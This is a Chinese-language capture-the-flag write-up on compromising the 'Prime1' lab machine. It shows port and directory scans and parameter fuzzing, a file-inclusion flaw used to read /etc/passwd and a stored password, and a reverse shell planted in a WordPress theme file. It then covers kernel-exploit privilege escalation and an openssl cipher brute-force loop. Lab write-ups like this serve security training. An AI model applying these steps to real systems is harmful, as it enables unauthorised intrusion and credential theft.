Prime1

1. 找到主机的 IP 地址

192.168.35.141

2. 分析端口

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-01 01:50 -0400
Nmap scan report for 192.168.35.141
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:EB:A5:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds

开放了 22 和 80 两个端口
详细分析 TCP

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-01 01:52 -0400
Nmap scan report for 192.168.35.141
Host is up (0.0011s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
|   256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_  256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HacknPentest
MAC Address: 00:0C:29:EB:A5:7C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.16 seconds

分析 udp 端口

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-01 01:53 -0400
Nmap scan report for 192.168.35.141
Host is up (0.0019s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   closed        netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp closed        unknown
MAC Address: 00:0C:29:EB:A5:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 21.43 seconds

基本都是关闭状态
漏洞扫描分析

sudo nmap --script=vuln -p22,80 192.168.35.141 -oA vuln

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|_  /wordpress/wp-login.php: Wordpress login page.
MAC Address: 00:0C:29:EB:A5:7C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.77 seconds

扫出来的结果显示可能有的Slowloris DoS 漏洞（CVE-2007-6750）
还有两个站点/wordpress/: Blog
/wordpress/wp-login. Php: Wordpress login page.
扫描一下目录

sudo gobuster dir -u http://192.168.35.141 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x txt,html,php

扫描结果

===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.35.141
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php            (Status: 200) [Size: 136]
image.php            (Status: 200) [Size: 147]
wordpress            (Status: 301) [Size: 320] [--> http://192.168.35.141/wordpress/]
dev                  (Status: 200) [Size: 131]
javascript           (Status: 301) [Size: 321] [--> http://192.168.35.141/javascript/]
secret.txt           (Status: 200) [Size: 412]
server-status        (Status: 403) [Size: 302]

扫描出来几个目录
WordPress 是目前全球最流行、免费开源的网站搭建程序，不用写代码也能做出博客、企业官网、商城、论坛等各种网站。

访问wordpress目录，看到一个叫victor的用户发布了文章

找到登录页面，现在只知道一个victor用户名，不知道密码

针对wordpress，还可以使用wpscan这个工具

wpscan --url http://192.168.213.141/wordpress/ -e u

同样也可以扫出来victor用户

查看secret.txt，给了一个github网址，先看一下location.txt吧

location.txt是404，那还是看github的网址吧

打开是wfuzz这个工具，kali自带，测试index.php一下

-hc：--hide-code 404 的简写：隐藏返回 404 状态码的响应
FUZZ：占位符

wfuzz -c -w /usr/share/wordlists/rockyou.txt --hc 404 http://192.168.213.141/index.php?FUZZ

返回的chars基本都是136，说明136是正常情况，隐藏掉

--hc/hl/hw/hh: Hide responses with the specified code/lines/words/chars

wfuzz -c -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404 --hh 136 http://192.168.213.141/index.php?FUZZ

找到了get参数file

难道file要传文件路径？尝试一下

好像不能任意文件读取，几种协议都试了下，都没成功。突然想起来之前的location.txt

哇，竟然成功了，告诉我了另一个php文件的参数名，总共就两个php文件，还有一个是image.php

带上参数secrettier360访问image.php

这里可以读文件，读取/etc/passwd

其中有/bin/bash的只有victor用户

还有一句提示find password.txt file in my directory:/home/saket

读取/home/saket/password.txt，找到了一个密码是follow_the_ippsec

尝试访问/etc/shadow，没回显

获得立足点

目前找到了一个密码follow_the_ippsec和一个可能是突破口的用户victor，还记得wordpress的登录入口吗，尝试登录一下

登录成功，接下来就得找哪里有cve或者执行命令的地方

我在后台找到了一些php文件，但是没有写入的权限

直到发现了secret.php，可以写，直接写入反弹shell

注意：这里sh最好写绝对路径/bin/sh，保险一些

现在只需要找到secret.php的路径，访问应该就可以成功反弹shell了，搜索一下

找到了一篇博客，尝试一下

访问

成功连接

查看用户

安装了的软件包，有python

现在这个终端的交互性一般，升级一下

python -c "import pty;pty.spawn('/bin/bash')"

看着舒服多了

提权

方法一：内核提权

查看sudo -l，我可以不需要密码以root身份执行/home/saket/enc

来到saket的家目录下，enc是一个可执行文件但不可读，user.txt中有一段md5

没有破解出来，查看一下定时任务，也没什么有利用价值的

查看内核版本Linux ubuntu 4.10.0-28，版本有点低，尝试一下内核提权

搜索CVE，尝试一下第二个吧

kali开个http服务，把脚本传到靶机上

用法

成功提权到root

方法二：openssl解密渗透提权

看到enc这个文件之后，其实可以猜测到和加解密有关系，这就和openssl有关了

先执行一下enc，需要密码，所以第一步就是找到密码

密码可能有备份文件，所以先搜索和backup有关的文件

find / -name '*backup*' 2>/dev/null

顺着找下了找到了这个文件，里面有密码，拿去尝试一下

运行enc后，似乎cp了两个文件，但是权限不够，用sudo试一下

当前目录下多了两个文件

enc.txt应该是加密之后的信息，ippsec的md5就是密钥

md5生成

//后面是为了优雅的去掉-
//这里一定要加-n去掉换行符
echo -n 'ippsec'| md5sum | awk -F ' ' '{print $1}'

openssl解密时需要指定类型，这里不知道所以需要爆破，先准备好所有加密类型

处理成一行一个

cat CipherTypeRaw | awk '{gsub(/ /,"\n");print}' | sort | uniq > CipherType

同时openssl解密的key要是16进制

-A n：关闭行首的地址偏移量
-t x1：把文件按每个字节转换成 2 位十六进制数，逐个输出
tr -d：删除字符

echo -n 'ippsec'|md5sum | awk -F ' ' '{print $1}' |tr -d '\n'| od -A n -t x1 |tr -d '\n'| tr -d ' '

写个循环爆破加密方式

for cipher in $(cat CipherType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431;echo $cipher;echo '\n';done

最终爆破出来是aes-256-ecb加密，得到密码tribute_to_ippsec